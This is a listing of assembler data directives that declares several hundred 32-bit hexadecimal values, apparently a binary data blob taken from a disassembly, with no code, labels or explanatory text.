		dd 2AAB00D2h, 0DD5948A8h, 9E007A71h, 0D15A3D43h, 96DBA2F6h
		dd 0A9F2810Ch, 0B8710A6Dh, 0A1120C50h, 6080C70h, 5E44C907h
		dd 0C43213DDh, 0E42BBA5Bh, 0D0B61968h, 7438F074h, 0FE00A15Dh
		dd 93654E97h, 18F4B23Bh, 1F189B9Fh, 5302CA51h, 0A77A0775h
		dd 0F4D958A9h, 2009606Fh, 74FE2036h, 0B8C9CCECh, 0EB252F1Eh
		dd 1401DABCh, 0D5288D6Bh, 2DA60101h, 609476C2h,	0C40030C9h
		dd 0BB1DED1Ch, 986E9Fh,	1EE81BC6h, 87C066F4h, 0A8AA5B00h
		dd 0D17EDFC1h, 9EE92CC9h, 0ED4905BCh, 3915C064h, 8025D45Dh
		dd 0A198904Fh, 487B7FDDh, 3E004030h, 8EB76FEDh,	5800A528h
		dd 4FC4A177h, 606EA8FBh, 0ABF4EB0Dh, 6F00894Dh,	0EEA0068Fh
		dd 17BF840Fh, 43CF2056h, 3693A44h, 16088CD0h, 0E5649C0Ah
		dd 0D718D6DCh, 0E3B5EDh, 0CF39810Ah, 0BEBDC75Ah, 45ACDB04h
		dd 0E9B7FC77h, 6CAAF381h, 0F6918A0Bh, 0F30F4ADh, 94721F7h
		dd 0CC177CCAh, 3C0CE8D8h, 234CAFEBh, 0ACEA19B5h, 0ECB60F4Bh
		dd 0B18848ABh, 318717EEh, 18B90057h, 9D7337BAh,	41B5441Fh
		dd 0C5DBDFB0h, 8EE90062h, 0AA0DC3A7h, 870A5921h, 3E41245Ah
		dd 280E7A00h, 0AA140F6h, 8173031Bh, 0D8218383h,	4EBE59DAh
		dd 5D5C382Eh, 0FC223E00h, 5D49219h, 0F54094FFh,	7E974A57h
		dd 55DE6189h, 8E942895h, 407829DCh, 37F313h, 8F7B8851h
		dd 1F074544h, 3767AB24h, 2A68E103h, 9BC548C9h, 12800439h
		dd 0E8653B0Ch, 4B9C036Ah, 0C74C2F82h, 48757863h, 19863F70h
		dd 0C4A64199h, 0E2D4E764h, 854B1CE4h, 5F00DEA8h, 23C175FEh
		dd 1D72E876h, 9384DD44h, 1AF4C0EEh, 7A254517h, 0E30090BDh
		dd 28A10005h, 16DF5A5Eh, 10018695h, 1F60D84Eh, 1580981Bh
		dd 643A1E01h, 0C5000980h, 730DD4ACh, 135515E6h,	5E53177Eh
		dd 8666664Ch, 3DC23561h, 10642F18h, 267FDE70h, 2532F4h
		dd 0FC71CBADh, 3627BD18h, 264D8570h, 7343D21Fh,	0D02F78FAh
		dd 9874B4BFh, 0F6808982h, 0B2130h, 41D8B286h, 886F91FAh
		dd 345B2700h, 8FE632D0h, 76C3328Bh, 0D68324EEh,	0B0E06DC9h
		dd 94C0E03Fh, 1EED74AAh, 6EEC0937h, 0C8002C88h,	3EA61950h
		dd 515E9C26h, 0A80CC204h, 41258990h, 157E06C8h,	462F92E5h
		dd 0C0147F01h, 0F92D2B70h, 686CFCh, 3A38038Eh, 0AB208553h
		dd 0A0F4DF03h, 1CA67173h, 204289CAh, 52C0A200h,	0C98A88D5h
		dd 0B19C0771h, 80DBAFF0h, 0C7141C86h, 275FC13h,	0ED5D9601h
		dd 0AA3052A6h, 0C89617h, 0C74B78AEh, 30491962h,	1C1835B4h
		dd 968AB400h, 9B9AC5h, 322EEC31h, 6D7AF8C3h, 0C2839364h
		dd 1A078B4h, 0BFF72D0h,	479E7CD8h, 0B04514C7h, 53005DDAh
		dd 6A0F801Ch, 3AC88CBh,	0E8560B6h, 0A6806BB8h, 8D0704E0h
		dd 46CFAF49h, 0C1E48C70h, 41860B96h, 0F4027FFh,	3406E507h
		dd 0C326898Dh, 80930F1Eh, 90035CB9h, 37B9738Fh,	2A6CE1h
		dd 0EE1DBDF2h, 165245ECh, 0C146200Bh, 0C8584087h, 0EF90877Dh
		dd 0AE126602h, 6039ED73h, 0DB282Eh, 76D0246Fh, 0C73318A3h
		dd 0A19D2F00h, 585EA786h, 0F20612D7h, 6ADA0192h, 6099B79Ch
		dd 0EB00B46Eh, 0D82B3682h, 7FD7256Eh, 40629C17h, 7A49BBE5h
		dd 0C19B7D00h, 0A1F2684Ch, 0A70700D9h, 72CA2C2Eh, 0EB1E0FFBh
		dd 0AD801229h, 7152D462h, 0DE1C2695h, 643C4245h, 4A1DE5Ah
		dd 0CCF661B7h, 0E0EA7DA1h, 0ECE34C00h, 0A90F82Ch, 5A330023h
		dd 0D2941FFEh, 0C5009BF1h, 228BCD61h, 0F0C26716h, 0BB0C27FAh
		dd 3FA0E2EBh, 2A098256h, 6D9A55A3h, 11CD9EEh, 0A0145EDBh
		dd 304416D8h, 52F02Ch, 5C3EFCBAh, 0EEBE5653h, 46032AE0h
		dd 33EAC681h, 0FC0D3D27h, 0D1630E70h, 54FC1EEh,	0B2DDF660h
		dd 100B16Dh, 0D0895EF2h, 67A6685Ah, 1624633Dh, 52807881h
		dd 74C0505Dh, 21954A12h, 2B9601h, 8458F5Ah, 44E76D81h
		dd 5DDDA00Fh, 0F7288341h, 0E0895005h, 5291105h,	5C208730h
		dd 420009E9h, 486DFFFCh, 725AA5h, 7769AF18h, 0B8C15997h
		dd 983B0125h, 0E2C35F0h, 6ED60FD8h, 40BB2461h, 6A60ED41h
		dd 2602AE6Eh, 85C7FE64h, 5BEB5E74h, 0F0F6717Ch,	379761E2h
		dd 0E25317CBh, 597004B6h, 802744h, 3B43C7CCh, 18899BF9h
		dd 4AD0BE0Ch, 0DEB0D40h, 0E99D6107h, 6FAA2E38h,	0EBC101B9h
		dd 0DD71F070h, 8BEACC2Ah, 89959571h, 0E4D35FA1h, 6C28C5Bh
		dd 0C2E57C1h, 2375E9A6h, 8C666004h, 33F8A8D8h, 1123521h
		dd 84AF6AFh, 9E2C7BD2h,	0D0811289h, 0EFC1FEF7h,	3C680C31h
		dd 0AAB92004h, 9657021Eh, 0FF8CF00Dh, 0E91A9550h, 7F953270h
		dd 0DF08B694h, 0AA9C530h, 703F1A99h, 0EA023B9h,	0CC61821h
		dd 347C6A50h, 0A6E5605h, 1DB06112h, 1BA5CE0h, 81F00E10h
		dd 183BBEAh, 8914C283h,	1E3BC995h, 0C2F97FE1h, 2D3DAF5Ch
		dd 0CD795709h, 0C7E65DA5h, 585190B7h, 1AC2632Bh, 6688FFF0h
		dd 4D063881h, 12850F5Ah, 3B7EC27h, 0D0033C50h, 45B33A81h
		dd 0C9841927h, 0ACB12DCCh, 0B9D9E90Ah, 0C88B154Ch, 1B2820BEh
		dd 4F3C4003h, 1D54C2BEh, 0EBF38BA6h, 0E8D1210h,	5BF8051Bh
		dd 30C1C0Ch, 6F9D20D1h,	86C4D10h, 0D41F512h, 0FC28EF2Ah
		dd 111360E9h, 244C8B51h, 0A981100Ah, 0B53014B0h, 4AC03359h
		dd 0E49CBFC3h, 80FDA524h, 0A7D26847h, 258FD49Ah, 31AAE45Fh
		dd 0D3EB2F69h, 326E6E60h, 63BDA800h, 0AD96F7BBh, 80550B28h
		dd 0AC0EA8BFh, 8D8BF007h, 33E1F119h, 0AB84157Ch, 38FC4BECh
		dd 0B5D59586h, 4380835h, 20CD955Ch, 0AB62D6C3h,	1E91F0E3h
		dd 96BE0166h, 0B18D034Fh, 516CA71Fh, 0C6F509E4h, 4BBDEA00h
		dd 3A004DA2h, 0E68111C7h, 4FD95823h, 0FAC1C42Fh, 0C8F9C603h
		dd 0D609E2E8h, 0C9D786D4h, 0F527C84Ah, 40724F0Fh, 0E884235Fh
		dd 0C683D127h, 0CC8B50BEh, 0B590832Ah, 0C3CD2781h, 2E918715h
		dd 0E9521512h, 35A6006Dh, 0ADDAD97Ch, 0BA6C0147h, 9D895FBEh
		dd 0A6193B75h, 153A45B8h, 79BC3C31h, 583DD900h,	1238B3FBh
		dd 0C8E82D83h, 178E9948h, 9A30FD95h, 0C90007FFh, 239C8324h
		dd 52B9F3h, 0A5464EA2h,	0BC1B3CC8h, 19DD98C4h, 0BDCAF9ABh
		dd 0F64BECh, 0BF29093Ch, 135290E0h, 87AE812h, 6EE80DBDh
		dd 9ED2CA31h, 0DE3B0FEDh, 0FE3A80A0h, 255D1912h, 22581F05h
		dd 82CE813h, 2BE9BAA9h,	0E2F1E0h, 0B9516094h, 272895B4h
		dd 858B5B09h, 61B3255Dh, 0BD084AB9h, 0D0322009h, 578D4A6Dh
		dd 110F44B7h, 0A7D180A3h, 2E2AD8BDh, 0AC80C6E8h, 3200DEA8h
		dd 97BEB18Bh, 0BD4CD5D8h, 30297C19h, 5DA11A15h,	80882B71h
		dd 0D5E87AFBh, 4C19D97Bh, 0AD9126D4h, 0C085CD33h, 423FB884h
		dd 75AE817h, 1AC8308Eh,	0C803E1C3h, 0F14051C9h,	0E55A203Eh
		dd 5B023B06h, 45FE770Ah, 5F0941DAh, 0BB80D135h,	5499E0BEh
		dd 1769E832h, 0DC8A7C87h, 0CA724C01h, 35BD292Eh, 0B5270223h
		dd 37D78AE2h, 483200C3h, 0DF657620h, 0E859AB0Ah, 0B83DAC4h
		dd 0A15D9BDh, 0A319D69h, 2F353E3Ah, 0B81BA90Ch,	685948E3h
		dd 8DE8CA04h, 0F07AEB06h, 71C47900h, 42C22D49h,	50C90340h
		dd 9AA15411h, 0E56D9DBCh, 66ED35C5h, 25C59582h,	26ECBC0Ch
		dd 3000482Ch, 0F4CE8123h, 7FFC0F19h, 2E717D7Ch,	0DD6EFE2Bh
		dd 3F3924h, 6F729BACh, 5CB249ABh, 0E8681C04h, 88DE05F2h
		dd 17C4A7C2h, 51CE2FE1h, 2E290793h, 1CA6EBAh, 4D0EB058h
		dd 0A48060CEh, 8BC862E9h, 22BA3D9Dh, 99E86109h,	802DBD05h
		dd 89FDE3F1h, 325275B5h, 61E534EFh, 7776EBBh, 2FD7E3Dh
		dd 35643340h, 54727E8h,	7940CECFh, 96DA4F2h, 0D3FE5D88h
		dd 0D0005544h, 56FECC0h, 0D4AD69h, 77E27443h, 4F0DD866h
		dd 7996EB18h, 871B09D2h, 6F601CC4h, 4E0257A5h, 524FFEA1h
		dd 89166068h, 0DD6C9D0Eh, 0C8C7C01h, 76B3B9F2h,	9840C82Ah
		dd 72A31700h, 4B396DE7h, 887C3CCEh, 0BF666E01h,	305F4C84h
		dd 440B311h, 0C3D00CB9h, 4DBC651Fh, 4DF52640h, 0C6E872B0h
		dd 22B40B16h, 0F75A0BA6h, 0F08F46CCh, 1CEFD12h,	79CC5EFEh
		dd 7EFC3CEDh, 7E6F3325h, 0FA5D2C02h, 6860FB3Dh,	0B5258BF2h
		dd 0FCA8620Dh, 4502F4D4h, 2ACC21EEh, 27C7FEFCh,	0F8CBC2EDh
		dd 0EE8B4A53h, 0C0F9B6D5h, 104DB50Dh, 2BCFDC13h, 7D16D862h
		dd 0F35D092Fh, 60F11EE1h, 1C059348h, 8B8F2450h,	0A7FF1EF2h
		dd 0CFEE2441h, 0FABC74ABh, 82166F6Ah, 78B120E9h, 93B846C4h
		dd 0D326B909h, 0B59C83A1h, 8DA90BB1h, 0C0782195h, 0DC7C9Ch
		dd 3C6F4DE9h, 85316DF0h, 30340526h, 9AF91A93h, 338C6B8h
		dd 0F2178111h, 4E5BD09h, 6442539Dh, 3FFEDE34h, 0E0E82D00h
		dd 71A716B9h, 0E1FCC54Ch
		dd 0C0329E33h, 0F70ADBFCh, 0A80309CFh, 20EAB8Eh, 0C981322Ah
		dd 0ED494D6h, 0E0089377h, 0AFC4ED3Ch, 0BA8B0D1Fh, 0E545B3DFh
		dd 0CF80C94Ah, 1595741Ch, 910B6797h, 0A59D2905h, 0E1F02112h
		dd 5B0CA51Dh, 0EE3F7075h, 36A33B05h, 5080698Eh,	0D2E5A7E1h
		dd 0BC41B9DEh, 0C5561A64h, 4C35B194h, 0D7236080h, 6272107Ah
		dd 791E8C6h, 0E2D0E95Bh, 18AF768Fh, 44B16C34h, 9B074CBEh
		dd 0C1805FB7h, 206EF23Dh, 125EEC23h, 0B413B91Ah, 0E0564DC9h
		dd 0EC96A46Dh, 55C4E564h, 0A06958B1h, 1C2F1AB8h, 0B528C3F9h
		dd 0DBB89FFDh, 66D63603h, 42E22FBEh, 1DE225DBh,	0DB8C30h
		dd 0E6A80BFAh, 0C85DDAE9h, 0D35E4C4h, 2C0BA9Eh,	0AD684932h
		dd 8AD81D12h, 0CBE64557h, 0E428AAE1h, 0A30125E5h, 0F4982FF8h
		dd 4A2B8C0Fh, 2780F97Dh, 0D789C7Bh, 589904C5h, 0EF556317h
		dd 11809610h, 6EEC3479h, 6FBE0600h, 2490D367h, 0B9663958h
		dd 1384C928h, 86D58D8Bh, 6D9FBD6Ah, 598DC361h, 69CEB226h
		dd 1017850Bh, 0BC10E517h, 0AE58F466h, 37751380h, 0F081ECF8h
		dd 0F8AC62D0h, 41015853h, 0DD46364Bh, 0D4B6676Dh, 0BD2088C9h
		dd 0E9F51A0Ch, 13573FCCh, 32C2F864h, 37770009h,	1EC9EDBFh
		dd 0AAD7597Ah, 0F5B810A9h, 0A504607Eh, 6AEC8ADEh, 0C9BC78EDh
		dd 0A872A928h, 9AEEF241h, 2500C0A2h, 0C0319421h, 0D99F92FFh
		dd 0D583AB18h, 5F5EC83Ah, 0AAD6F6Ah, 0BEFB80A6h, 82EF0B0Bh
		dd 0FC2A7532h, 2E00F4FFh, 0C9C01385h, 2DC16D3Fh, 49D04A57h
		dd 0CE0880FDh, 0C681C58Ah, 0EFBC1CE9h, 45FA7256h, 2FD1D26Ah
		dd 0E81CF705h, 0AEA4C4B7h, 38A80FFDh, 0FD02EB85h, 0AD0A1FFDh
		dd 19A5D15h, 241AEE81h,	92A773D3h, 41AF1959h, 820533C2h
		dd 4A56FAF2h, 0C0FA6D27h, 6458804Dh, 2D76F800h,	850144B9h
		dd 7F31BAA9h, 0E7DF1A52h, 0F3F45E5Fh, 30D700DCh, 0B70972A5h
		dd 3525D49Fh, 88C0FBD2h, 60170E7Dh, 0C19DA991h,	0EE6104E2h
		dd 21002E7Ah, 0DC1662E2h, 7F911C2Fh, 58384980h,	48A127ECh
		dd 0CB051395h, 25B8942h, 2D4B96B5h, 0D633A975h,	785B2512h
		dd 0CF7770h, 0F7FE9983h, 810F7563h, 0F5A624BCh,	3276E60h
		dd 4A7E2580h, 0D402758h, 0A2604A50h, 0D37A07BFh, 531F49B5h
		dd 0D9267A20h, 753800DCh, 6FFBE447h, 5303B45Ah,	2417C33Eh
		dd 0B93D8081h, 16E3985Eh, 0ECCD7EBEh, 0B8CCD463h, 6AE68C18h
		dd 0E7304912h, 0A5C1F600h, 425D9501h, 206E4E25h, 3C76F909h
		dd 0BA00C9C4h, 0B3D13848h, 0E73508AEh, 3312D6Bh, 0D1E1EFDDh
		dd 0B4DB7E6Ah, 7C497C2h, 6D901A77h, 45D0E1F6h, 33BB2E7Ch
		dd 0EE8C8D67h, 0DACB352h, 8BD1FF04h, 4CE9AFFBh,	0E9CE4CCBh
		dd 0C638F700h, 6CEED62Eh, 3AAF0393h, 0AC54B2A1h, 82D825E8h
		dd 83026A28h, 65D9E704h, 6FAF5090h, 0CD0B075Bh,	9649D31h
		dd 40788910h, 0D93B8A30h, 710E27E9h, 4BA062B7h,	53DED312h
		dd 640E69E0h, 18D02601h, 2F25BB66h, 60B82879h, 0BE071E12h
		dd 91B0E302h, 48B052Ch,	0DD665058h, 0B1316699h,	652BF87Dh
		dd 0FED230F5h, 683D2FC8h, 0A2203h, 0C7ABBD20h, 0DDE9C3F8h
		dd 0BB86660Ch, 25117C5Ah, 15CC5B5Fh, 0E8B4E4B2h, 7DBD2C13h
		dd 0B862B9D2h, 3DA70B51h, 49044306h, 0FFFFE435h, 0C4E38103h
		dd 0BA36CDCFh, 0ACB754B5h, 3009DEEBh, 8871B7C5h, 2228E40Eh
		dd 12275520h, 0A40136E9h, 44841260h, 0FF001E0Dh, 0E42A3A9Eh
		dd 128B46BCh, 0EC57D05h, 0E8B6B547h, 0F88A81AFh, 954070E6h
		dd 9771E4DEh, 14057BE9h, 0AE4A20ABh, 0D9003380h, 2612AD67h
		dd 9B6A0A6h, 0FB9A9C0Ch, 0C8E9C98Eh, 43417FFCh,	4BCC39B5h
		dd 0E8072FF8h, 9D9F1DF1h, 0C1223051h, 226F1043h, 0E4E41449h
		dd 0C82BF517h, 368CB3CDh, 0D1472E91h, 0F455ED81h, 884FD34h
		dd 20511922h, 3495B589h, 0EA853FC9h, 889B82ADh,	756C1F6h
		dd 1C8A0E88h, 0BD9F5925h, 79FA0075h, 0C38D6D53h, 3E00F9ACh
		dd 93F6D829h, 503BAE99h, 0A817A4D0h, 0C80AC13Eh, 8144569Fh
		dd 8DBD0320h, 1CCA2BE1h, 0D8E10B22h, 72005CFDh,	0D6F8C4BAh
		dd 7B29B2C0h, 254BB48Dh, 84082679h, 0BD338624h,	0D6FFDFA5h
		dd 0C2FE2C84h, 0C4A57952h, 3E2FA289h, 17991A03h, 8D3E00ADh
		dd 4FD715B5h, 506F2Ch, 0CD1DC0A7h, 9492EF8Ch, 5D13F491h
		dd 40219F8Ch, 8A6AC185h, 0BB92E89h, 0C1284D4Bh,	1D3C75Ch
		dd 0B040CFDh, 9FB7FCADh, 73620180h, 2D4AF898h, 0E7D9FCEEh
		dd 8BDF0500h, 0E4F5BE6Ch, 4B3700DCh, 2D64AB9Ch,	0A5244DEFh
		dd 0F360ED8Dh, 98D58Ch,	336552BAh, 910B89ACh, 2B5F3B09h
		dd 0C85803C0h, 0E9D2B38Eh, 423409BDh, 0C23318ADh, 83D0B8D1h
		dd 7504E90Bh, 820E37F4h, 0C0FCADC1h, 570A37Bh, 1EFE0B8Eh
		dd 4E5C6055h, 0DDFB0240h, 6479F0h, 189F2BCh, 397F0661h
		dd 44E3D526h, 2ED4E260h, 3BC700B4h, 5EB7F26Ah, 0A401954Bh
		dd 594854FEh, 0FA26800Fh, 805C8658h, 0B8880D16h, 8C17F8BCh
		dd 5B4EF109h, 1029DEDFh, 8531091Fh, 84F87481h, 0BA1E6D95h
		dd 22A06367h, 481B7F18h, 8110ED91h, 124D4C2Dh, 40D30FCDh
		dd 318F8C2h, 3A08DEC1h,	1992D955h, 0E081A658h, 9472B4DBh
		dd 53BD09CDh, 3271AE82h, 4319D009h, 0F18D2713h,	1817F187h
		dd 109D004Ah, 52F960DFh, 747897BEh, 2B595E2Ch, 532F0899h
		dd 1BB9FC88h, 0F1BF5B12h, 567BC2F2h, 38BF0F78h,	6B928DFFh
		dd 0A0CBF74Dh, 1898FA76h, 54140ED9h, 0E162FFDEh, 90261DAEh
		dd 8620059Ah, 0C8042220h, 0B38A02E2h, 1441556h,	0C6A02808h
		dd 0EB7D930Ah, 340136Fh, 0E9DF860Fh, 807DDE6Eh,	0E3A7E75Ch
		dd 0A1B5011Bh, 0BD2B39DBh, 0FC638961h, 70585360h, 0C927A671h
		dd 93BC7095h, 2BFC7984h, 0FE556F00h, 13F98B9Bh,	3004E180h
		dd 3B352F04h, 7E9DE000h, 0A795C45Dh, 611504A1h,	0C124BA52h
		dd 7F5BD9FBh, 21FFB82h,	0AF85C90Ah, 8D30CCFAh, 0E2852344h
		dd 0A4A29518h, 3307304Dh, 6FB1EDC5h, 806E9B6Bh,	49BD0BE5h
		dd 0ECBF09h, 91A30C00h,	0D21D2F63h, 238EA4Ch, 0DA876CA2h
		dd 2642C80Bh, 5F015CC4h, 0B7535650h, 0F1C75BCEh, 0DB2E2404h
		dd 55D292D1h, 898082F5h, 0AE665729h, 0EDFEEF00h, 0D87E5968h
		dd 3E15B0C4h, 72E0F0CAh, 3B4685A6h, 0B2355597h,	0F9E8D385h
		dd 844DBF83h, 71C5310Eh, 96BB202Ah, 9D812CC0h, 0E91A442Bh
		dd 7632A1DEh, 9EA8E091h, 0C7390ABBh, 1AF44372h,	0DB53678Eh
		dd 0A0225770h, 0B00E368Bh, 2825201Bh, 0C7BAC74Bh, 9DF30906h
		dd 0BD9C570h, 0A357C31h, 0E0AF0B1Bh, 4069EE1Dh,	0ABE3D1A0h
		dd 137AA76Bh, 92B5B1E7h, 6069D4AEh, 21D29071h, 4F618800h
		dd 435AFC9Fh, 30C60222h, 20CB4C3Ah, 292BC901h, 3ABC2639h
		dd 0B94B4204h, 17ABF9BAh, 0D98E008Dh, 0EF805607h, 0AF935FE2h
		dd 5D88091Dh, 46890532h, 8D41C104h, 0F960025h, 65B1F58Fh
		dd 3F30764Ah, 0C2B37681h, 8E4C31FDh, 6EB60032h,	5A513C5Eh
		dd 0EAAD9658h, 0D79084E2h, 5384E59Ah, 0F41489B5h, 6807FBB7h
		dd 37C335ACh, 0B5C98D85h, 0E980713Ch, 3C10E40Eh, 5FC70312h
		dd 531704B8h, 6FD71236h, 284800D2h, 820C3CCBh, 698026C4h
		dd 0E810826h, 99338D12h, 0BC7B401h, 0BB9080CFh,	2E7A76D2h
		dd 6089504Ah, 0A9E54939h, 0F598E601h, 1A17C968h, 16E8F2D4h
		dd 0B990C0BFh, 28FB893h, 0B95DBB98h, 0F04C4A8Ah, 0AC1CBF0Bh
		dd 37EC092Eh, 2D18057h,	85C769C9h, 0FBA57FB1h, 0AEDD851h
		dd 8BFDA912h, 0C44124EAh
		dd 0D3A524AEh, 98731D6h, 80CA375Dh, 0F40E79DFh,	809DF31Eh
		dd 0E9046252h, 0F927CC21h, 5503D316h, 0C30501Fh, 99448311h
		dd 1261C101h, 130E58EBh, 3124C3Fh, 0E7C79058h, 36DD36EBh
		dd 9E6443E0h, 501B63E1h, 21282934h, 1358180Ch, 1B57D001h
		dd 0C08B0B9Ch, 6BC15E6Dh, 1DF59F67h, 0B7DAC860h, 5C00F4Dh
		dd 0FCCDC5F9h, 0BEB4A4Bh, 0C24050ECh, 5B5CF322h, 5D85A28Eh
		dd 0CD25117Ch, 0D5CAC058h, 332D1836h, 1446451h,	79A334DBh
		dd 0D09DBD0Ah, 3485A3Ch, 449B11Eh, 0DBE82939h, 3083202Fh
		dd 4E31BDD8h, 700FF624h, 0B2CBF600h, 0FF7040C6h, 0BD332D30h
		dd 5F4CB87Ah, 67986961h, 601764C4h, 0F98539CFh,	6845E921h
		dd 177AAAh, 8239F28Ch, 0C53AA8EFh, 881105D0h, 8A8A5Eh
		dd 7B82EBE9h, 7243B7C7h, 0F031B694h, 0C196E534h, 0D9B5310Ch
		dd 4CA47210h, 55884A25h, 0CECA0012h, 62F268Dh, 0F605FBADh
		dd 0B8617B6Ch, 41C13684h, 2F6141B9h, 0EA3B852Eh, 14BFD71Ah
		dd 0D49296B2h, 0E27F300h, 0E034BB9Ah, 0B76D5029h, 7C899721h
		dd 25817137h, 0FC38AAF1h, 86FAF59h, 7C3B092Ch, 829829B5h
		dd 0D32479CEh, 0D1680188h, 30BE8A03h, 5E01E794h, 0EF6E09FBh
		dd 0B2F01FC4h, 86893B0Fh, 0D67F31E8h, 650230EEh, 219D2BE9h
		dd 0D9A6DF1Fh, 0C127A2DAh, 7B973A0Ah, 0E0EE7029h, 0F421600h
		dd 0BD29A1DEh, 5DB1AA79h, 7E37B90Bh, 0E0881BDh,	0BC1D6995h
		dd 0A4F5C970h, 205024B0h, 0E6A20267h, 0D6C04AFCh, 0D182D465h
		dd 4F950010h, 2ABC2803h, 0EF6F7600h, 0A3E041BFh, 5137E205h
		dd 7B2CB27Ah, 889BEB4Bh, 0A9779B81h, 6C8468C0h,	4869AA44h
		dd 2EE5612Ah, 71423B5h,	25FB8B13h, 5D60F3DFh, 9CEB881h
		dd 2122D4C6h, 0C908A0FEh, 50960024h, 1CEEB8BBh,	9DF44977h
		dd 61278129h, 45D14D49h, 0D06AAC2Ah, 0C95108Fh,	911B1E48h
		dd 0C9DF6932h, 5590B2F0h, 1C5C313h, 11A9FF07h, 84347B8h
		dd 0EEDC031h, 4FF95002h, 0D37FA007h, 4D615680h,	4C8AFAF7h
		dd 38484B52h, 84A3448h,	6DA734F1h, 2B648E0h, 8499279h
		dd 6D978F94h, 0BB604E91h, 0FDCEFA74h, 0CC013EF0h, 0FEDE380h
		dd 8B42D8B7h, 9D54D035h, 5D008DB7h, 26B7CA75h, 9557A4B1h
		dd 0FED84D13h, 0C00EB1Dh, 0D2B14483h, 1E4C2658h, 448DD497h
		dd 0BB74D38Bh, 8996BBB8h, 0BB64D485h, 87C84600h, 0A3A92866h
		dd 2410281Ch, 810AE2DDh, 25630202h, 7D35E851h, 0DFA7185Ah
		dd 0E08BD4A7h, 564A69A9h, 920064A2h, 5D434BDCh,	210078F7h
		dd 1FD1CC36h, 5AABCA31h, 246F7AC6h, 2D085EA2h, 85C70412h
		dd 0A2E8BE5Dh, 0F2BBE9C2h, 0C1185BFEh, 4B86D79Eh, 0FC77CCECh
		dd 2620505Fh, 343945Eh,	0D1239AB4h, 1987684h, 58135760h
		dd 45C75F61h, 51C89535h, 137B956Ah, 38836579h, 5F4B93BBh
		dd 0FA16968Eh, 65A62D5Bh, 7AD49EF0h, 1C0D7F06h,	25A8F6B7h
		dd 5B7616DDh, 1C46D4h, 0E1186478h, 2F81C409h, 2618FBA0h
		dd 0CAB58531h, 0A6DDF133h, 3055086Ah, 0F9009012h, 0C56810BFh
		dd 0BD5F7956h, 320F1D37h, 0CF3A0E0h, 5F5FAA1Ch,	0F024F66Ah
		dd 54E382Fh, 765127DCh,	9D980224h, 0BF0015BDh, 541D0D0Bh
		dd 17F5D30Eh, 1F1826DBh, 0B92917E7h, 0F780C27Ah, 6AC85CB5h
		dd 1846746Bh, 12D6BA02h, 1A5683E1h, 0C1CAF64Bh,	29D1FF9Dh
		dd 130B872h, 51E4237Fh,	52359D03h, 175E5FCFh, 0AE149951h
		dd 0EB4E312h, 33D99502h, 64C2BA1Eh, 0C19093C2h,	92715088h
		dd 9170EA2Fh, 7945FA6h,	9124A712h, 0A0C2D77Eh, 0B09DAA44h
		dd 0DE09CEE4h, 57904FD2h, 6400BA37h, 0DBAFDA73h, 8D4F0B3Fh
		dd 3ED0C99Dh, 39600E5Fh, 16337646h, 29D23177h, 0C0D51ADFh
		dd 38A6AEE9h, 2075908Fh, 0F57C2DE5h, 0E50D1B25h, 5C048864h
		dd 372BBB01h, 6E7B3590h, 596400D9h, 0DD38F480h,	0CD6F4BBFh
		dd 0EF0B2B47h, 4050D690h, 0F439AC03h, 3B206300h, 5EBF66EDh
		dd 505F3B2Eh, 17FABB2Ch, 2C85C190h, 3E612FF7h, 0F22A8953h
		dd 0EC5F259Ah, 491CC426h, 0B523BC07h, 869F90DAh, 0C4E4403Ah
		dd 0FF6AD905h, 6E8D8A0Fh, 8B736900h, 4FC90530h,	81F02D77h
		dd 6E3545A4h, 0AF831CDEh, 0A688C9A2h, 576211D1h, 29137DD8h
		dd 2A913271h, 25A4824Eh, 0A80FB007h, 0AB188113h, 0F4408C90h
		dd 0D70EC928h, 621C63D0h, 0E0DBE8FEh, 3CE6A0E8h, 414B6070h
		dd 2319B0CDh, 41BEF41Eh, 328EF100h, 0FF84C89Dh,	205A4BF8h
		dd 7EEB97E2h, 77E88372h, 0BAE7F900h, 17F67467h,	64F09761h
		dd 5F1CC2B7h, 0CE696446h, 0FA48703Fh, 8A92F95h,	8024425Bh
		dd 26283908h, 6DE62599h, 44410B97h, 5DE4BD00h, 0F0BB4Ah
		dd 0C05B4BFEh, 2B13B34Bh, 188CC848h, 0D1510ECDh, 0A47D9733h
		dd 0AA9E93Ah, 40615851h, 1165526Eh, 0F8250E23h,	68563AE1h
		dd 0EE067422h, 0FEBF0F5Fh, 9D24C91Ah, 24976CFAh, 0E4501130h
		dd 0BE05B912h, 0DE06BA64h, 9D992B71h, 9096BC4h,	0DE2FB195h
		dd 31846215h, 15A52A2Fh, 0E78EFE18h, 0B361E701h, 60FC5E01h
		dd 0E14886Eh, 0B7E8BA07h, 21E3EB4h, 54B352D0h, 2599089Ch
		dd 26F66112h, 54E08310h, 6AE83DC8h, 3B9D6FE1h, 1F6A3Bh
		dd 5E135B02h, 1882B24Fh, 6255CCFAh, 96027018h, 0D9B5294Ah
		dd 13B9051Fh, 8F28DEC3h, 0E273E1CEh, 803EDDCCh,	0EA80F75Dh
		dd 0E2615925h, 7010DB18h, 1B014A1Fh, 9AB79EF2h,	0E97058C4h
		dd 150F128Eh, 0F043F625h, 9B7DF61h, 7DEBD25h, 0C8908F80h
		dd 0F973C02Bh, 0E36ED25Ah, 0B7003D3Fh, 0E082D050h, 2848879Ah
		dd 0B8E1C0E2h, 7EDF2h, 0A45EE647h, 285BC109h, 4BDB444Bh
		dd 12F66A5Bh, 265C60FBh, 0B1DB2353h, 4934C59Fh,	8506C12Ah
		dd 880D0107h, 8899CF7Eh, 1F7DC01Bh, 12FE86CDh, 0BA393227h
		dd 517DFB7Bh, 0B7A03A7Eh, 2E204149h, 0F1622A67h, 0FA231F1Ah
		dd 5A558h, 0CC1ED797h, 0AEA485B9h, 704592C9h, 8D6DBD92h
		dd 45D7A4C0h, 0FE751E29h, 0E91F84BBh, 76C05E09h, 6AC2C5ECh
		dd 7A7931B3h, 2F04DDEAh, 8A426438h, 58A047Dh, 3479F909h
		dd 0DB191528h, 2DB86C55h, 207309FEh, 127635A5h,	2BAC0184h
		dd 2FE1FFA7h, 19E24B12h, 0EB03F585h, 85F21077h,	97B25069h
		dd 0F7691D14h, 55C20233h, 5C13B212h, 0BAE111Dh,	0ED601FB3h
		dd 0A4FBC072h, 4625F8D4h, 0C338763Fh, 12CC299Dh, 863502E1h
		dd 0E9E1042Bh, 37734314h, 0B20BB808h, 340A0006h, 0F88F75F0h
		dd 0FE0413FBh, 0E1355DC9h, 0A322DBB9h, 3125A298h, 95DBCE1Eh
		dd 0E3C0D59Ah, 0FBB89B27h, 10C44h, 861AB07h, 0BAD0F86Eh
